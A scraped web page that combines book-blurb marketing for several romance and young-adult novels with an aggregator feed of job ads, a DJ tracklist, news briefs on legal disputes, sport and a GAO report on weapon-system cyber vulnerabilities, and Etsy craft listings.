When Louise Wolfe’s first real boyfriend mocks and disrespects Native people in front of her, she breaks things off and dumps him over e-mail. It’s her senior year, anyway, and she’d rather spend her time with her family and friends and working on the school newspaper. The editors pair her up with Joey Kairouz, the ambitious new photojournalist, and in no time the paper’s staff find themselves with a major story to cover: the school musical director’s inclusive approach to casting The Wizard of Oz has been provoking backlash in their mostly white, middle-class Kansas town. From the newly formed Parents Against Revisionist Theater to anonymous threats, long-held prejudices are being laid bare and hostilities are spreading against teachers, parents, and students — especially the cast members at the center of the controversy, including Lou’s little brother, who’s playing the Tin Man. As tensions mount at school, so does a romance between Lou and Joey — but as she’s learned, “dating while Native” can be difficult. In trying to protect her own heart, will Lou break Joey’s?





A series of chance encounters leads to a sizzling new romance from the New York Times bestselling author of the On Dublin Street series. 

The universe is conspiring against Ava Breevort. As if flying back to Phoenix to bury a childhood friend wasn't hell enough, a cloud of volcanic ash traveling from overseas delayed her flight back home to Boston. Her last ditch attempt to salvage the trip was thwarted by an arrogant Scotsman, Caleb Scott, who steals a first class seat out from under her. Then over the course of their journey home, their antagonism somehow lands them in bed for the steamiest layover Ava's ever had. And that's all it was--until Caleb shows up on her doorstep.

When pure chance pulls Ava back into Caleb's orbit, he proposes they enjoy their physical connection while he's stranded in Boston. Ava agrees, knowing her heart's in no danger since a) she barely likes Caleb and b) his existence in her life is temporary. Not long thereafter Ava realizes she's made a terrible error because as it turns out Caleb Scott isn't quite so unlikeable after all. When his stay in Boston becomes permanent, Ava must decide whether to fight her feelings for him or give into them. But even if she does decide to risk her heart on Caleb, there is no guarantee her stubborn Scot will want to risk his heart on her.





Spend the coldest days of winter on a Caribbean beach with New York Times Bestselling author Elin Hilderbrand. 

Join New York Times Bestselling author Elin Hilderbrand on the stunning beaches of St. John for the beginning of her thrilling new winter series-The Paradise. Welcome to Paradise, the first book in the Paradise series, has everything that readers have come to know and love about an Elin Hilderbrand novel, plus a healthy dose of intrigue. Irene Steele's idyllic life-house, husband, family-is shattered when she is woken up by a late-night phone call. Her beloved husband has been found dead, but before Irene can process this tragic news, she must confront the perplexing details of her husband's death. He was found on St. John island, a tropical paradise far removed from their suburban life. Leaving the cold winter behind, Irene flies down to the beautiful Caribbean beaches of St. John only to make another shocking discovery: her husband had a secret second family. As Irene investigates the mysterious circumstances of her husband's death, she is plunged into a web of intrigue and deceit belied by the pristine white sand beaches of St. John's. This exciting first book in the Paradise series will transport readers to a new beach locale-another world that Elin knows as well as her beloved Nantucket-and have them longing for winter





There are a million reasons why Miles Hart isn't the man I should date but allow me to enumerate the top three. 
He's friends with my brother, he's a single dad, and he's a sexy, in-demand rock star. He might as well wear an off-limits, totally unavailable, and don’t-even-attempt-to-ride-this-ride sign.

And there’s one more, little itty-bitty thing -- he's never asked me on a date.

That is, until he asks me to be his plus-one when his band plays at his high school reunion. It shouldn’t be a big deal. After all, we’re just friends, and no one is giving us our own hashtag. Except me . . .

***

I have three good reasons to keep my hands off Roxy Sterling—her brother’s my business manager, my kid is the center of my world, and the last time I fell hard for a woman I was burned so badly that my interest in relationships has gone up in flames. But once I bring Roxy’s body next to mine on the dance floor, I want all the not-safe-for-work things I can't have with her.
My brain knows there’s no way for us to work, but tell that to my big mouth. Because the second she plants a hot, sexy kiss on me, I have the bright idea to ask her to keep being my plus one—turning one night into a few.

What’s the harm in spending a little more time with her and having her by my side at all these events? Nothing at first, until I learn exactly how risky we might be.





Marlena Oliveira has—mysteriously, miraculously—been given the power to heal all kinds of ailments. People around the world believe she is a saint. But her power comes at a price: she can’t go to school, she can’t have friends her own age, and she certainly can’t date.

Then she meets Finn, a boy who makes her want to fall in love. For the first time, she begins to doubt whether her gift is worth all that she must give up to keep it.




Vera Woods is at her wit’s end.

Her husband has run off with the nanny, leaving Vera with a broken heart, three very angry sons, and even less time to juggle the demands of family and her career. After her boys scare away a sixth replacement nanny, Vera is out of time off from work and desperately out of options. Still nursing an aching heart, she turns to an unlikely source for help―a manny.

Lincoln Scott is no stranger to family chaos. But rather than grow jaded, he has thrown his natural talents into building his own business―providing live-in childcare for families as a manny. The money is great and the perks are a blast, but when his family of six years moves to Germany and their plans to bring him along fall through, Lincoln is suddenly unemployed and aware of how much of himself he’s given to other people’s families.

Brought together by circumstances, Lincoln and Vera’s mutually beneficial business arrangement becomes complicated by the undeniable chemistry they share. Vera needs a manny and Lincoln needs a job, but they both may have found the very thing neither one had realized they needed―a whole lot more.



He’s a player.


He plays the bass with expert fingers. He plays women with intoxicating charm. And he’ll play me with the ease of a virtuoso.

Who better to teach me to play than the master himself?

I’m his model student, front row, pencil sharp. Pick up lines? I’ve got them. Free drinks? By the dozen. Kissing? Let me grab my chapstick.

But the most valuable lesson I’ve learned is that there’s so much I don’t know. Like why his touch sets off a chain reaction straight to my nethers. Or how I’m certain each kiss is the best I’ll ever have, until the moment his lips take mine again.

There’s so much I don’t know.

Like the fact that I’m only a bet.

But we are what we are. He’s a player, through and through.

And I’m the fool who fell in love with him.










From the show's creators comes the groundbreaking novel inspired by the Broadway smash hit Dear Evan Hansen.

Dear Evan Hansen,

Today's going to be an amazing day and here's why...


When a letter that was never meant to be seen by anyone draws high school senior Evan Hansen into a family's grief over the loss of their son, he is given the chance of a lifetime: to belong. He just has to stick to a lie he never meant to tell, that the notoriously troubled Connor Murphy was his secret best friend.

Suddenly, Evan isn't invisible anymore--even to the girl of his dreams. And Connor Murphy's parents, with their beautiful home on the other side of town, have taken him in like he was their own, desperate to know more about their enigmatic son from his closest friend. As Evan gets pulled deeper into their swirl of anger, regret, and confusion, he knows that what he's doing can't be right, but if he's helping people, how wrong can it be?

No longer tangled in his once-incapacitating anxiety, this new Evan has a purpose. And a website. He's confident. He's a viral phenomenon. Every day is amazing. Until everything is in danger of unraveling and he comes face to face with his greatest obstacle: himself.

A simple lie leads to complicated truths in this big-hearted coming-of-age story of grief, authenticity and the struggle to belong in an age of instant connectivity and profound isolation.







**You will not be charged for Pre-orders until release.**



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          Planner III - Halifax Regional Municipality - Halifax, NS      Cache   Translate Page      
When appointed by Council, administers heritage conservation plans and bylaws and makes decisions on the issuance of certificates of appropriateness.... $41.34 an hour
From Halifax Regional Municipality - Tue, 09 Oct 2018 04:59:01 GMT - View all Halifax, NS jobs
          Bulgarian Textile Recyclers Comment on Eco-tax      Cache   Translate Page      
At the BIR London Convention’s “Workshop on the Bulgarian Eco-Tax on Second Hand Clothing” on 8 October 2018, the Bulgarian Association of Recyclers and Traders of Second Hand Clothes (ARTSHC) explained the proposed changes to its national laws affecting second hand clothing. On 30 May 2018, the Bulgarian government started procedures to change its Waste Management law, including the introduction of a fee for all second hand clothes put on the local market, potentially under Extended Producer Responsibility. Official statements from the Bulgarian Ministry of the Environment and Water do not explain if the proposed changes to the law will affect only second hand textiles or also new textiles. ...
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Recorded 2018-10-09 19:06:25

Tracklisting:
* CELO - Keys
* Dave Owen - Set It Off
* Cypher(UK) - Downturn
* Shy FX, Maverick Sabre - Call Me (feat. Maverick Sabre)
* Nymfo - Bullet Train
* Inja, Whiney - Crooked Flex
* Hydro, DLR, Ulterior Motive, Kid Drama - Dredger
* Culture Shock - Get Physical
* Stoner - 1984
* Stoner, Dottor Poison - Phenomenon
* Phace - Obscure
* K Tee, Friction - Set It Off (Icicle Remix)
* Monty - Magma
* Break - Authentic
* Phace, Misanthrop - Mammoth
* Enei - Easter Island
* G Dub - Tink Ya Bad
* Nymfo - Lemmings
* Break - Solvent
* The Qemists - Stompbox (Spor Remix)
* Zed Bias - Pick Up the Pieces feat. Boudah (Skeptical Remix)
* Break - The Flux
* Voltage - Float Ya Boat
* Black Barrel - Still Warm
* Phace - Strange Science
* Inja, Whiney - She Just Wanna Dance
* Dub Head - Space Worm
* Kiril - Reload
* Andy C, Shimon - Quest (Bladerunner Remix)
* Seven, Alys Be - Came to Play(Need for Mirrors Remix)
* Kiril, Was A Be - This!
* Camo & Krooked - Good Times Bad Times (Document One Remix)
* Mob Tactics - Dreamworld
* Hyroglifics, Klax - Boogieboard
* Disphonia, TR Tactics - Vision (Disphonia Remix)
* Mr. Frenkie - Bass Symptom
* 1991 - VHS
* Mefjus, InsideInfo - Mythos
* Camo & Krooked, Nihils - Broken Pieces (feat. Nihils) (Culture Shock Remix)
* Need For Mirrors - Veto
* Need For Mirrors & HLZ - Slash
* Benny L - Dogs Bark
* BOU-POISON - VIP
* Camo & Krooked - Last of the Tribe (Break Remix)
* DJ Hazard - Busted
* Skeptical - Duck Soup
* CELO - Rollin
* Savage Rehab - Neck Funk V.I.P feat. Saxxon, Balistik
* Nymfo - Drone Attack
* Bungle - Cocooned
* Revaux, Data 3 - Basilisk
* Ed Solo - Anye Up
* Foreign Concept, Halogenix - Waiheke Wine Club (Circuits Remix)
* Nymfo, ZeroZero - Soundboy
* Surreal - Sideways
* Calyx & TeeBee - Intravenous
* Kiril - Strike
* Legion, NC-17, Logam - Trippin'
* Calyx & TeeBee - A Day That Never Comes (Original Version)
* Shimon - Hush Hush (Edit)
* L 33 - Drop It Down Low
* Dimension - UK
* Sub Focus - Timewarp VIP
* Break - Who Got da Funk
* DC Breaks - Shaman
* Konflict - Messiah
* Damage Report - Dib Dab Dob
* DAZEE - BRING IT DOWN (BOU REMIX)
* Calyx & TeeBee - Takes One To Know One (Original Version)
* Phace, Mefjus, Phace & Mefjus - Malmaison
* Emperor - Shadow
* Icicle - Dreadnaught [feat. SPMC]
* DLR - A - DLR & Script - Electronic Heroin
* The Upbeats - Trauma
* DLR, Ulterior Motive, Kid Drama - Unforgiving
* Dub Head - Meltdown
* Cypher(UK) - Scavenger
* Hydro, Total Science, War - Denial
* Technicolour Komatic feat Jayma - Vermillion
* Nymfo - Twisted Funk
* Spectrasoul, Calibre - Away With Me (feat. Tamara Blessa) (Calibre Remix)
* Klinical - Waiting
* Mitekiss - Some People
* DLR, Ulterior Motive - Modules
* Dub Phizix & Skeptical - Marka
* Skeptical - Grub
* Break, Randall, DLR - Song and Dance
* Friction - Battle Scars
* Klinical - Africa
* Serial Killaz - Start The Killing
* Stealth - Smash It
* Alibi, MC Coppa - Trunk
* Kenji, Bou - Ignorant (Bou Remix)
* Alix Perez, Halogenix - Rollcage
* Enei featuring DRS - The Moment
* Miles A. Head - Like We Used To VIP
* Jade - What You Are (Break Remix)
* Dave Owen - 2Pac/Bobby Cauldwell - Do For Love/What You Won't Do For Love (Dave Owen Bootleg))
* Kiril - Minimal Instinkt
* DLR, Octane, MC Gusto - Gravity feat. MC Gusto
* EBK, Gusto, DLR, Octane - Mainframe
* Shimon, Benny L - Sharks
* Emperor - Claws
* Skruff - Skruff - Tender (Master V3)

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          Civil rights activist Jolovan Wham and Singapore Democratic Party’s John Tan convicted under new contempt of court laws over Facebook posts allegedly “scandalising the judiciary”      Cache   Translate Page      

Civil rights activist Jolovan Wham and Singapore Democratic Party (SDP)'s John Tan Liang Joo became the first individuals to be convicted under new laws governing instances of contempt of court in Singapore, particularly the Administration of Justice (Protection) Act 2016, which came into effect on 1 Oct last year. In deciding that Mr Wham and Mr …

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          Tree Trimmer - Integrity Tree Services - Martinsburg, WV      Cache   Translate Page      
Must have 1 or more years of professional experience as Trimmer using chainsaws within tree service, utility, logging, forestry industries....
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          Tree Trimmer - Integrity Tree Services - Walkersville, WV      Cache   Translate Page      
Must have 1 or more years of professional experience as Trimmer using chainsaws within tree service, utility, logging, forestry industries....
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          Tree Trimmer - Integrity Tree Services - Ripley, WV      Cache   Translate Page      
Must have 1 or more years of professional experience as Trimmer using chainsaws within tree service, utility, logging, forestry industries....
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          Tree Trimmer - Integrity Tree Services - Charleston, WV      Cache   Translate Page      
Must have 1 or more years of professional experience as Trimmer using chainsaws within tree service, utility, logging, forestry industries....
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          Data Points to Consider as 2019 Looms      Cache   Translate Page      
IoT on the rise, AWS in ascension, future jobs up in the air
          Web Development Engineer - Amazon.com - Seattle, WA      Cache   Translate Page      
Develop custom integrations with other AWS services such as Rekognition, Lex, and Polly. Want to be part of a fun and exciting team thats working with the...
From Amazon.com - Sat, 06 Oct 2018 15:19:57 GMT - View all Seattle, WA jobs
          Software Development Engineer - Amazon.com - Seattle, WA      Cache   Translate Page      
Amazon Connect leverages the power of Artificial Intelligence and the large ecosystem of AWS services such as Amazon Lex, Amazon Polly, AWS Lambda, Amazon S3...
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          Software Development Manager - Amazon.com - Seattle, WA      Cache   Translate Page      
Amazon Connect leverages the power of Artificial Intelligence and the large ecosystem of AWS services such as Amazon Lex, Amazon Polly, AWS Lambda, Amazon S3...
From Amazon.com - Tue, 02 Oct 2018 19:22:01 GMT - View all Seattle, WA jobs
          Web Development Engineer - Amazon Connect - Amazon.com - Seattle, WA      Cache   Translate Page      
Amazon Connect leverages the power of Artificial Intelligence and the large ecosystem of AWS services such as Amazon Lex, Amazon Polly, AWS Lambda, Amazon S3...
From Amazon.com - Sat, 22 Sep 2018 19:18:45 GMT - View all Seattle, WA jobs
          System Development Engineer - Amazon.com - Seattle, WA      Cache   Translate Page      
With Amazon Connect you can leverage the power of Artificial Intelligence and the large ecosystem of AWS services such as Amazon Lex, Amazon Polly, AWS Lambda,...
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          Store Administrator (SA) - Shoppers Drug Mart / Pharmaprix - Whitehorse, YT      Cache   Translate Page      
At Shoppers Drug Mart, we believe that compliance with laws is about doing the right thing. 303 OGILVIE ST, 2....
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          Sr. Product Manager - AWS AI - Amazon.com - Seattle, WA      Cache   Translate Page      
Today, the team delivers multiple services such as Rekognition, Lex, Polly, as well as ML Engines and SageMaker....
From Amazon.com - Tue, 24 Jul 2018 01:20:24 GMT - View all Seattle, WA jobs
          HRSS, Product Manager - Technical - Amazon.com - Seattle, WA      Cache   Translate Page      
With Amazon Connect you can leverage the power of Artificial Intelligence and the large ecosystem of AWS services such as Amazon Lex, Amazon Polly, AWS Lambda,...
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          Senior Software Development Engineer - Amazon.com - Seattle, WA      Cache   Translate Page      
With Amazon Connect you can leverage the power of Artificial Intelligence and the large ecosystem of AWS services such as Amazon Lex, Amazon Polly, AWS Lambda,...
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          AWS Administration - Accenture - Bengaluru, Karnataka      Cache   Translate Page      
Accenture Technology powers our clients’ businesses with innovative technologies—established and emerging—changing the way their people and customers experience...
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          Seafood Department Manager - Loblaw Companies Limited - Whitehorse, YT      Cache   Translate Page      
To interpret and administer Company policy and ensure compliance with the union contract. At Loblaw Companies Limited, we believe that compliance with laws is...
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          Congregational Meeting to Vote on Bylaw Changes set for October 14      Cache   Translate Page      
Please plan to attend our congregational meeting after church at approximately 11:30 am on October 14th to vote on the proposed changes to our bylaws. The following is a guide to the proposed changes. You may download a pdf of the proposed bylaws here. PREFACE: Late in 2017 Church Council began questioning the effectiveness of the use of Directors-At-Large to serve on council.  These positions were established in a bylaw change several years ago to relieve the ministry chairpersons from an extra meeting each month, however, the change resulted in diminished communication between each of the ministries and council – with the failure in evidence in both directions.  Council sensed a need to return once again to the old method where the ministry chairperson also served on council.  Therefore a committee of Robbyn Mosley, John Shore and Peter Wall was assigned by council to review the bylaws for changes to current needs. After a review of the previous bylaw document, the committee noted several issues with the existing bylaw document: duplication of information in more than one section, minor spelling and grammatical errors, unnecessary capitalization and underlining, and inconsistent quantity protocol of numbers, i.e.:(three) (3).  These have all been edited to provide a more consistent document. The Ministries of the church in Article XII are listed, however, the ministry functions and activities has been removed.  This specific information will be contained in the Policies and Procedures manual. Three specific “Directors at Large” will still sit on the council, but will actually be “at large” positions rather than tied to any particular ministry.   The following changes have been proposed to reflect the manner in which our church should be governed and conduct its business. Article VII, Section 2, d. provides a better definition of “Associate Membership”.Associate Members would be provided voting rights in Article VII, Section 6.Voting rules and special voting items have been placed under one section, Article VIII, Section 8.The Board of Directors, known as Council is changed to include the officers: Moderator, Vice-Moderator, Secretary and Chief Financial Officer, one leader representative for each of the five ministries, and three Directors-at-Large, a total of 12, in Article IX, Section 1.In Article IX Section 2, the election and tenure of council members has been consolidated into one section.In Article IX Section 4, Delegates to association and conference meetings is changed from “election” to “appointment” by council.In Article X, Section 6, the Secretary may delegate duties to a staff person with council consent.In Article X. Section 7, the Chief Financial Officer may delegate duties to a staff person with council consent.Article X, Section 8, defines the role of the Directors-At-Large.  More specific duties would be cited in the policies and procedures manual.Article XI, Section 1, changes the responsibility of the Pastor from “Administrative Head of the Church” to “Chief of Staff”. Article XII, Directors-at-Large, is eliminated in its entirety.  This is now listed in Article X, Section 8.Article XII lists the Ministries by name only with a referral back to Article IX for election and term information.  The purpose and function of each of the ministries is to be defined in […]
          Loss Prevention Representative - Superstore Whitehorse - Loblaw Companies Limited - Whitehorse, YT      Cache   Translate Page      
Detect and identify potential shrink opportunities within our operational core compliance. At Loblaw Companies Limited, we believe that compliance with laws is...
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          Judaica vintage natural marble paperweight with carved young man holding Torah, signed R.Winfield by shainkeit      Cache   Translate Page      

18.00 USD

Judaica vintage natural marble paperweight with carved out young man holding the Torah with blackened background. Piece is signed in lower left corner, R. Winfield. Label on side states: Natural Marble, Eric Herrmann Carvings. Bottomside has four felt bumpers and shows some soiling (could be flaws in the marble) does not detract from the beauty of the piece. Measures: approx. 3 inches long x approx. 4 inches high x approx. 7/8 inch deep. This is a lovely piece and will be nice on your desk or on display in your curio cabinet!

Please contact me if you have any questions prior to purchase if you are not sure. Please send me your zip code so I can calculate the correct shipping charges for your location, thank you. Thank you for stopping by!


          Vintage Judaica handmade enameled brooch on copper with Chanukah Dreydel in center by shainkeit      Cache   Translate Page      

5.00 USD

Vintage Judaica handmade enameled brooch on copper with Chanukah Dreydel in center with the Hebrew letter "Shin" for the word "Shum" (means there). There are surface scratches on the back. Will look great on your lapel of your jacket or blazer during Chanukah. Measures: approx. 1-3/8 inches wide x approx. 2-1/8 inches high.

NOTE: Vintage items show wear and tear from age. Photos may not show all flaws. Please go over the description prior to purchase so you are aware of flaws and wear and tear, thank you.

Please contact me if you have any questions prior to purchase. Please send me your zip code for correct shipping charges for your location and for multiple purchases (when possible). Thank you for stopping at my shop!


          Vintage Judaica 3-D sculpture wall hanging Temple and Dome of the Rock, Israel by shainkeit      Cache   Translate Page      

9.00 USD

Vintage Judaica resin 3-D sculpture wall hanging depicting the Temple of Solomon (?) and the Dome of the Rock in Israel and is in good condition. There may be some residue on the bottom portion of the sculpture, not sure if this was intentional (seems there is more of this yellowish color on other sections of the sculpture). The top edge may have some chips, or may be a flaw in the manufacturing. It is still a lovely piece and will be a nice addition to your Judaica collection or start a new one. Mounted on a wood octagon shape base with a cord on back for hanging. No indication of origin or manufacturer. The board measures: 10 inches wide x 10 inches high; sculpture measures: approx. 8-1/2 inches wide x approx. 6-1/2 inches high.

NOTE: Vintage items show wear and tear from age. Photos may not show all flaws. Please go over the description prior to purchase so you are aware of flaws and wear and tear, thank you.

Please contact me if you have any questions prior to purchase if you are not sure. Please contact me for correct shipping charges for your location and for multiple purchases (when possible), thank you. Thank you for stopping at my shop!


          Judaica vintage abstract brass "Jerusalem" napkin holder, Made in Israel by shainkeit      Cache   Translate Page      

6.00 USD

Judaica vintage abstract brass napkin holder with pierced circle design and a seven-arm Menorah on each side and Jerusalem underneath the Menorah on both sides. Israel is stamped on the inside of both pieces. There is some wear on the edges and inside some of the circles. The pieces are unevenly placed (still nice). There is part of the original blue label from Israel on the inside Overall, this is a different style and will make a nice addition to your Judaica collection or start a new one. Measures: approx. 4-1/8 inches across longest points x 3-1/2 inches high.

NOTE: Vintage items show wear and tear from age. Photos may not show all flaws. Please go over the description prior to purchase so you are aware of flaws and wear and tear, thank you.

Please contact me if you have any questions prior to purchase. Please contact me for correct shipping charges for your location and for multiple purchases, thank you. Thank you for your interest in my shop.


          AWS advances Alexa for Business with a new room booking feature      Cache   Translate Page      
The feature, Amazon says, addresses the common challenge of walking from room to room to find an open space.

          Binta Nyako withdraws from suit challenging Magu’s status      Cache   Translate Page      
Justice Binta Nyako of the Federal High Court in Abuja, on Tuesday, withdrew from the 19 suits filed last year in respect of the validity or otherwise of Mr. Ibrahim Magu remaining the Acting Chairman of the Economic and Financial Crimes Commission.

The decision was in connection with the ongoing trial of the judge’s husband and former governor of Adamawa State, Murtala Nyako; and her stepson, Senator Abdulaziz Nyako, bordering on corruption charges before another judge of the court, Justice Okon Abang.

Justice Nyako, who announced her withdrawal from the suits in the court on Tuesday, said her decision was influenced by EFCC’s repeated formal requests to the Chief Judge of the Federal High Court, Justice Adamu Abdu-Kafarati, demanding the re-assignment of the matters to another judge of the court.

‎After withdrawing from the cases on Tuesday, she adjourned the case sine die (indefinitely) pending when the Chief Judge would re-assign the cases to another judge.

          Fayose slams N20bn suit on EFCC over watchlist order      Cache   Translate Page      


Ekiti State Governor, Mr. Ayodele Fayose has slammed an N20 billion suit on the Economic and Financial Crimes Commission (EFCC) for placing him on a watchlist and directing that he should be arrested if he attempts to travel out of the country despite being a sitting governor conferred with constitutional immunity against any criminal
proceedings.

He said that the EFCC’s order did not only breach his constitutional immunity but that it also exposed him to public opium and ridicule, adding that directing that he should be arrested was anathema to the laws of the land.

In a letter by his counsel, Obafemi Adewale, dated September 3, 2018, the governor had given EFCC 72 hours to withdraw the request/directive to Security Agencies to place him on security watchlist and publish a written apology to all security agencies in Nigeria, three National Newspapers and the Social Media.

Special Assistant to the Governor on Public Communications and New Media, Lere Olayinka, said in a statement issued on Tuesday, that consequent upon EFCC failure to accede to his demands as contained in the letter, Governor Fayose’s counsel filed the suit number FHC/ABJ/CS/1087/2018 in Abuja last Friday.


It should be recalled that EFCC had tweeted on July 16, 2018 through its official Twitter handle @officialEFCC concerning Governor Fayose
that, “The parri is over, the cloak of immunity is torn apart and the staff broken, Ekiti Integrated Poultry/Biological Concepts Limited N1.3bn fraud case file dusted off the shelves. See you soon.”

In the suit, Governor Fayose is seeking among other things; an order of the court mandating the EFCC to pay the sum of N20 billion as general damages to him for what he called “flagrant, deliberate, pre-meditated and reckless libel and unprovoked attack on his character and reputation
and the breach of his constitutional right/immunity as an incumbent Governor.”

He demanded that the EFCC should tender a written apology, which should be circulated to all security agencies in Nigeria and same
should be published in at least three widely read National Newspapers and through the social media.

The governor is also seeking a declaration that the statements contained in the EFCC letter dated September 12, 2018, and addressed to all security agencies in Nigeria portrayed him as a criminal, a fugitive and a run-away from the law, and that the statements are not
true, are malicious, are not fair statements.

He wants the court to further declare; “that the EFCC letter placing him on watchlist and directing his arrest on sight even while a sitting Governor is unconstitutional as same offends the clear provision of Section 308 of the 1999 Constitution of the Federal Republic of Nigeria (as amended) which clothes him with immunity against arrest and prosecution as an incumbent Governor.”

“That the tweet by the Defendant (EFCC) through its official Twitter handle, which was widely circulated through social media and published

on Punch Newspaper (online) of 16th July, 2018, with the particulars wordings pleaded in the Statement of Claim filed along with this Writ is not true, is malicious, is not a fair statement and presents the Plaintiff as a fraudster thereby ridiculing him and reducing him in the eyes of reasonable and right-thinking members of the society.”


          Homeland Security to waive laws for South Texas border gates      Cache   Translate Page      
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          Amazon's AWS signed deals for ~$1B with Symantec, SAP, Bloomberg says      Cache   Translate Page      
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          Dog Groomer - Paws & Claws - Timmins - Timmins, ON      Cache   Translate Page      
Minimum of 2 years of grooming experience, preferably in a customer focused, pet food and supplies environment.... $40,000 - $60,000 a year
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          Re: West Africa      Cache   Translate Page      
Gambia

I just came from Gambia. I must say I have never had such respect for gay people until I saw a couple of gay Gambians at Romano in Bakau. These guys are openly gay and effeminate and couldn't care who knows inspite of the local anti gay laws and the stupid president's gay death threats. Romano plays host to a live band every Sunday night which goes on til 3.30 am Monday morning. Although the weekly event is not necessarily a gay event/venue, this event does attract some gay Gambians. These guys are good "mbalax" dancers. It is customary to give them a few Dalasis (the local currency) if you appreciate their artistry. You don't have to though. You can simply watch then walk up to them to congratulate them thereby striking a conversation. Ensure any express of interest is done discreetly when they are alone or away from their female friends. Interestingly, some of these guys were arrested few years ago but it still has not stopped them expressing themselves. Some of them are well known homosexuals.
          The numbers behind Barca, United, Bayern and Madrid's struggles      Cache   Translate Page      
From the crisis engulfing Jose Mourinho at Manchester United to Barcelona and Real Madrid trailing Sevilla in LaLiga, the 2018-19 season has seen some of Europe's top clubs struggle. While the board at Old Trafford are reportedly contemplating Mourinho's future, pressure is also building at the Santiago Bernabeu where Julen Lopetegui is without a win in his last four matches in all competitions. Reigning LaLiga champions Barcelona are in a similarly indifferent spell of form, while Bayern Munich are sixth in the Bundesliga following a humiliating 3-0 defeat at home to Borussia Monchengladbach in their last outing. Opta's stats provide a telling insight into the key areas in which these four giants of European football are failing in this campaign when compared to their performances last season.   Errors blighting Barca progress Barcelona's 4-2 Champions League win over Tottenham will have eased the pressure on Ernesto Valverde, who has watched his team stutter in the league in recent weeks. With three draws and a defeat from their last four league games, Barcelona's performances have been undermined by an increase in defensive errors. Valverde's men made just one error leading to a goal throughout last season, but this campaign they have already committed three. At the other end, Barca's shot-conversion rate has dropped from 17.1 last season to 13.8 this season, and they are averaging 2.4 goals per game compared to 2.6 in 2017-18. 0 - Barcelona are winless in their last three La Liga games (D2 L1) – the last time they went four in a row without a win was in April 2016 (D1 L3). Defiance. pic.twitter.com/kmfAroNUag — OptaJose (@OptaJose) October 7, 2018 Misfiring Bayern beginning to flounder After starting the season in fine form, Bayern are on a downward spiral, taking one point from their last three Bundesliga games. Boss Niko Kovac will be asking questions of his forwards after Bayern failed to find the net in consecutive league defeats to Hertha Berlin and Borussia Monchengladbach, and they have gone from averaging 2.7 goals per game last season to 1.7 this season. Bayern turned 15.3 per cent of their shots into goals in 2017-18, whereas this season their conversion rate is just 9.8, while their expected goals per game (xG) has dropped from 2.3 to 1.8. 4 - For the first time since 1999 Bayern have failed to win four competitive games in a row during the Oktoberfest. Crisis. #FCBBMG — OptaFranz (@OptaFranz) 6 October 2018 Defensive weakness hampering Mourinho Mourinho's Manchester United future looked bleak at half-time of his side's Premier League clash with Newcastle United on Saturday, but second-half goals from Juan Mata, Anthony Martial and Alexis Sanchez delivered a 3-2 victory. The win moved Mourinho's men up to eighth in the Premier League after eight games following a hugely disappointing start to the season that has seen them perform worse than they did in 2017-18 in a number of key metrics. United are averaging 1.6 goals per league game this season, compared to 1.8 last season, and their shot conversion rate has slipped from 13.3 in 2017-18 to just 11.6 this term. But a more porous defence has been perhaps a bigger issue for Mourinho's side, who have conceded an average of 1.8 goals per game this season compared to 0.7 last campaign, and faced an average of 4.8 shots per match compared to 3.9 the previous season. 2 - Manchester United have conceded two goals in the opening 10 minutes of a Premier League game at Old Trafford for the very first time. Lapse. #MUNNEW pic.twitter.com/MYfwePAnGN — OptaJoe (@OptaJoe) October 6, 2018 Madrid goals hard to come by in post-Ronaldo era Lopetegui must have thought he had inherited an easy life when his Real Madrid side clocked up their fourth win in five LaLiga games with a 1-0 victory over Espanyol on September 22. However, since then Los Blancos have slipped to away defeats at Sevilla and Deportivo Alaves, either side of a draw at home to Atletico Madrid, and the stats tell an unhappy story for Lopetegui. Under Zinedine Zidane - and with Cristiano Ronaldo in the team last season - Madrid averaged 7.5 shots on target per game but that number has dropped to 5.6 this season, with their conversion rate also dropping from 13.5 to 9.2. The result has been a decline in the team's average goals per game from 2.5 to 1.5, and when margins are as narrow as they were in Madrid's defeat to Alaves, that change can be crucial. 1985 - Real Madrid have failed to score in four consecutive games in all competitions for the first time since April 1985 (five), their worst run ever. Drought pic.twitter.com/Hrej7ojkM4 — OptaJose (@OptaJose) 6 October 2018
          Amid #MeToo, New York Employers Face Strict New Sexual Harassment Laws      Cache   Translate Page      
It's been a year since the The New York Times ran an exposé alleging sexual harassment by Hollywood executive Harvey Weinstein. That led to an outpouring of allegations as others spoke out, leading to the downfall of many leaders and executives, including top news editors at NPR. The resulting #MeToo movement helped transform workplace culture and spurred both the state of New York and New York City to pass the country's most stringent workplace sexual harassment laws, the bulk of which take effect Tuesday. The city and state regulations are similar, requiring employers to conduct annual training aimed at preventing sexual harassment. They must also post their policies in highly visible places. Existing employees in New York state must undergo training by Oct. 9, 2019; all new employees must undergo training "as soon as possible," or, under the New York City law, within 90 days. Other states, including California , also mandate harassment training. But New York's laws differ in that
          Cyber Tests Showed 'Nearly All' New Pentagon Weapons Vulnerable To Attack, GAO Says      Cache   Translate Page      
Passwords that took seconds to guess, or were never changed from their factory settings. Cyber vulnerabilities that were known, but never fixed. Those are two common problems plaguing some of the Department of Defense's newest weapons systems, according to the Government Accountability Office. The flaws are highlighted in a new GAO report , which found the Pentagon is "just beginning to grapple" with the scale of vulnerabilities in its weapons systems. Drawing data from cybersecurity tests conducted on Department of Defense weapons systems from 2012 to 2017, the report says that by using "relatively simple tools and techniques, testers were able to take control of systems and largely operate undetected" because of basic security vulnerabilities. The GAO says the problems were widespread: "DOD testers routinely found mission critical cyber vulnerabilities in nearly all weapon systems that were under development." When weapons program officials were asked about the weaknesses, the GAO
          Downtown Montreal Anti-Racism Demonstration Draws 3,000      Cache   Translate Page      

Protesters don’t like the results of the October election.

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          Shifting Moodle to AWS from VPS (CPanel)      Cache   Translate Page      
Hi, I have upload speed issue with Moodle application. Just wanted to shift on AWS ASAP. Thanks (Budget: $8 - $15 AUD, Jobs: Amazon Web Services, Linux, Moodle, MySQL, System Admin)
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          Comment on Hi-Fructose Volume 49 Preview! by Hi-Fructose Volume 49 Preview! | Movie Signature      Cache   Translate Page      
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          Safari Nursery Mobile in Blue, Gray, Green & White-Elephant, Alligator, Frog, Lion- by MatthewAndMae      Cache   Translate Page      

74.00 USD

Safari Nursery Mobile in Blue, Gray, Green & White


♥♥♥PLEASE READ BEFORE PURCHASE!!! : All mobiles are HANDMADE TO ORDER, they are NOT premade. Please see "Shipping & Policies" tab located below listing photos or shop homepage announcement for current make time. ♥♥♥

♥NEED YOUR MOBILE SOONER?? RUSH SERVICE available for additional fee, see here: https://www.etsy.com/listing/130287764/rush-order-add-on?ref=shop_home_feat


INTERNATIONAL BUYERS
